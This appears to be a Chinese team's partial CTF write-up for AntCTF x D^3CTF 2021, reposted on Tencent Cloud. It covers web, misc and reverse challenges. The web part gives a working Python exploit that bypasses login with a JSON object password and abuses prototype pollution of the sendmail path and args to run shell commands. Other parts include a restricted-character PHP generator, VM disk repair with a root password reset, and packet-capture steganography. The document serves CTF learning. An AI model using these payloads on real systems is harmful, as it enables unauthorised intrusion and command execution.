前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >AntCTFxD^3CTF2021 部分WriteUp

AntCTFxD^3CTF2021 部分WriteUp

作者头像
Timeline Sec
发布2021-03-22 11:59:37
6700
发布2021-03-22 11:59:37
举报
文章被收录于专栏:Timeline Sec

AntCTFxD^3CTF

Web

★8-bit pub

一般代码审计

登陆绕过,组一下就可以{"username":"admin","password":{"password":true}}

登陆后就是邮箱,sendmail可以任意读,args可以命令执行,思路就是直接把命令执行readflag结果导入tmp/flag然后读就行了

exp:

代码语言:javascript
复制
代码语言:javascript
复制
# coding:utf-8
import requests

url = 'http://9267351e50.8bit-pub.d3ctf.io/'
sess = requests.session()
headers = {
    'Content-Type': 'application/json'
}
class flag:
    def login_admin():
        data = '{"username":"admin","password":{"password":true}}'
        res = sess.post(url + 'user/signin', data=data, headers=headers)
        print(res.text)

    def readflag():
        data = '{"to":"1783671926@qq.com","subject":"snowywar","text":"xxxx","constructor.prototype.path":"sh","constructor.prototype.sendmail":true,"constructor.prototype.args":["-c","/readflag>/tmp/flag"]}'
        res = sess.post(url+'admin/email',data=data,headers=headers)
        print(res.text)

if __name__ == '__main__':
    flag.login_admin()
    flag.readflag()

Misc

★shellgen2

除了php标签外,只能使用0-9$_;+[].=<?>中的字符,需要输出任意指定的小写字符串。考虑使用<?=输出字符串,为了使生成的PHP脚本尽可能短,首先使用09_字符构建变量名储存生成的a-z字符。为了生成a-z,使用两个[]字符串拼接得到ArrayArray,然后取其中的a;再使用自加得到a-z。

最后的python脚本为:

代码语言:javascript
复制
input_a=input()
beg='''<?php $_=[].[];$_999=0;$_999++;$_999++;$_999++;$_=$_[$_999];$____=$_;'''
par='_09'
let_dic={}
for i in range(3):
    for j in range(3):
        for p in range(3):
            let_dic[chr(97+p+j*3+i*3*3)]="$_"+par[i]+par[j]+par[p]
keys=list(let_dic.keys())

let_dic[keys[i]]+'=$_;'
for i in range(25):
    beg+='$_++;'+let_dic[keys[i+1]]+'=$_;'

beg+='?><?='+let_dic[input_a[0]]

for let in input_a[1:]:
    beg+='.'+let_dic[let]

beg+=';'
print(beg,end="")

★Virtual Love

麻了,一个非预期能修两次,麻了,每次都下载6个g内容,强奸我硬盘

参考文章:

【解密 】Vmware虚拟磁盘文件-电子物证-二十次幂 (ershicimi.com)

代码语言:javascript
复制
https://www.ershicimi.com/p/a85955bf672a9dc6e412ad70648870fd

首先它给了正常的iso,导入vm后可以发现是正常的centos7的系统

首先把他的centos7导入vm,然后查看他所生成的文件,

将centos7所生成的vmx以及vmsd直接替换至题目的文件

之后使用010进行修改s001-s006.vmdk的文件头

对照着修改,很容易发现规律。

最后修改vmx的内容,也一样对照着修改

随后便可以开机,给了内容说是guest,可以直接登录

取证一般套路就是直接history

看得出来需要去获取root权限

这里直接进编译模式了,网上一堆文章,丢个链接在这

centos7重置密码连接

CentOS7忘记root密码,重置root密码蝈蝈的博客-CSDN博客centos7重置root密码

代码语言:javascript
复制
https://blog.csdn.net/gnail_oug/article/details/94721777

重置后就可以看见文件了

04开头是解压密码,7@是目标文件,剩下就没啥了

计算md5:md5sum

★Robust

打开pcapng,首选项导入log,解密出http3数据流

右键追踪流QUIC流

发现是HIS传输,筛选所有http3包,在Decrypted QUIC处发现HLS数据

然后多个人开始手动复制粘贴成文件,根据HEADERS区分文件 (学弟学妹y(老)y(工)d(具)s(人))

接下来解HLS音频流,按照如下修改后使用ffmpeg进行合并,得到一个mp4文件。

代码语言:javascript
复制
ffmpeg -allowed_extensions ALL -i _music_index.m3u8 -c copy output.mp4

根据给出的hint链接找到如下工具: https://github.com/quiet/quiet

使用quiet的ultrasonic模式解得一段base64编码,进而得到一个zip文件

lyric是网易云的网页接口:访问 http://music.163.com/api/song/lyric/?id=1818031620&lv=1&kv=1&tv=-1 得到一段json,存成txt大小与zip中相吻合,直接进行明文爆破

解压出txt一个,是0宽隐写,然而有一说一,做了字符集替换把我恶心导论

在线网页: Unicode Steganography with Zero-Width Characters (330k.github.io) http://330k.github.io/misc_tools/unicode_steganography.html

如下设置

解密后

相关文章:

https://support.f5.com/csp/article/K05822509

https://www.cellstream.com/reference-reading/tipsandtricks/382-using-wireshark-to-analyze-quic-traffic

https://blog.csdn.net/weixin_37035452/article/details/93763122

Reverse

★Jumpjump

Ida打开,shift+F12查看字符串:

跟进后来到关键函数,F5大法查看伪代码:

通过分析,有两个关键函数,sub_40189D()和sub_40191E(),第一个函数:

继续跟进:

for循环里的就是第一轮异或,后面的sub_408A80()函数经过动态调试发现为反调试手段,

只要不进入该函数,直接F9到下一个断点前即可继续运行程序。

第二个函数:

将第一轮异或后的值加4之后与0x33异或,再与dword_4CC100[]数组比较。

总的来说就是两轮异或(感觉就是一道签到题。。。)

脚本:


本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ★Jumpjump
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档